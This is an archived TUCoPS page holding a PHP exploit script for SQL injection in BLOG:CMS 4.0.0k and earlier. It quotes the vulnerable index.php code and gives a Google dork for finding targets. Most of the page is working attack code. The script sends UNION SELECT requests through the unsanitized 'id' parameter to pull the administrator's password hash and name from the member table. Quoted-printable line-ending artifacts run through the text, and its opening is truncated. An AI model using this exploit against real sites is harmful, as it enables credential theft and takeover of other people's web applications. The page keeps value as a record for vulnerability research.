TUCoPS :: Web :: Blogs :: b06-3336.htm

BLOG:CMS <= 4.0.0k sql injection
BLOG:CMS <= 4.0.0k sql injection
BLOG:CMS <= 4.0.0k sql injection



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork: \"Powered by BLOG:CMS\"|\"Powered by blogcms.com\"|\"2003-2004, Radek Hul=E1n\"\n\n";=0D
=0D
if ($argc<3) {=0D
echo "Usage: php ".$argv[0]." host path OPTIONS\n";=0D
echo "host:      target server (ip/hostname)\n";=0D
echo "path:      path to BLOG:CMS\n";=0D
echo "Options:\n";=0D
echo "   -p[port]:    specify a port other than 80\n";=0D
echo "   -P[ip:port]: specify a proxy\n";=0D
echo "   -T[prefix]:  specify a table prefix (default: none)\n";=0D
echo "Example:\n";=0D
echo "php ".$argv[0]." localhost /blog/\n";=0D
die;=0D
}=0D
/* software site: http://blogcms.com/=0D 
=0D
  i) vulnerable code in index.php, lines 19-36:=0D
=0D
   ...=0D
// NP_SEO plugin redirect=0D
if (isset($_GET['id'])){=0D
  $query=sql_query("select url from ".sql_table("plug_seo")." where id='".undoMagic($_GET['id'])."'");=0D
  if ($row=sql_fetch_object($query)) {=0D
   $row->url=stripslashes($row->url);=0D
   $redirect=true;=0D
   if (strpos($row->url,'|noseo|')!==false) {=0D
    $arr=explode(",",'msnbot,googlebot,crawler,centrum');=0D
    foreach ($arr as $s) if (strstr($_SERVER["HTTP_USER_AGENT"],$s)) $redirect=false;=0D
    $arr=explode(",",'downloader.seznam,inktomi,yahoo,altavista,fasttrack,excite,hotbot,alltheweb,yahoo');=0D
    $dns = strtolower(@gethostbyaddr($_SERVER["REMOTE_ADDR"]));=0D
    foreach ($arr as $s) if (strstr($dns,$s)) $redirect=false;=0D
    $row->url=str_replace('|noseo|','',$row->url);=0D
  }=0D
  if ($redirect) header('Location: '.unhtmlentities($row->url));=0D
 }=0D
 unset($query);=0D
}=0D
   ...=0D
=0D
  "id" argument is not sanitized before to be used in a sql query...=0D
  also you can inject sql statements regardless of magic_quotes_gpc settings,=0D
  look at undoMagic() function in vars4.1.0.php:=0D
=0D
  // removes magic quotes if that option is enabled=0D
  function undoMagic($data) {=0D
	return get_magic_quotes_gpc() ? stripslashes($data) : $data;=0D
  }=0D
=0D
  very nice code :)=0D
            								      */=0D
=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$port=80;=0D
$proxy="";=0D
$prefix="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
}=0D
=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$sql="9999999'/**/UNION/**/SELECT/**/mpassword/**/FROM/**/".$prefix."nucleus_member/**/WHERE/**/mnumber=1/*"; //id = 2, admin=0D
$sql=urlencode($sql);=0D
$packet ="GET ".$p."?id=$sql HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
$temp=explode("Location: ",$html);=0D
$temp2=explode("\n",$temp[1]);=0D
$temp2[0]=trim($temp2[0]);=0D
if (($temp2[0]<>"") and (!strstr($temp2[0],"http")) and (!strstr($temp2[0],"UNION")))=0D
{=0D
  if (strlen($temp2[0])==40) {$type="sha1";}=0D
  if (strlen($temp2[0])==32) {$type="md5";}=0D
  echo "exploit succeded...\n";=0D
  echo "password (".$type.")-> ".$temp2[0]."\n";=0D
  $sql="9999999'/**/UNION/**/SELECT/**/mrealname/**/FROM/**/".$prefix."nucleus_member/**/WHERE mnumber=1/*";=0D
  $sql=urlencode($sql);=0D
  $packet ="GET ".$p."?id=$sql HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  sendpacketii($packet);=0D
  $temp=explode("Location: ",$html);=0D
  $temp2=explode("\n",$temp[1]);=0D
  echo "admin -> ".$temp2[0]."\n";=0D
}=0D
else=0D
{=0D
//debug=0D
echo $html."\r\n";=0D
echo "exploit failed... see html\n";=0D
}=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/blogcms_400k_sql.html=0D 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH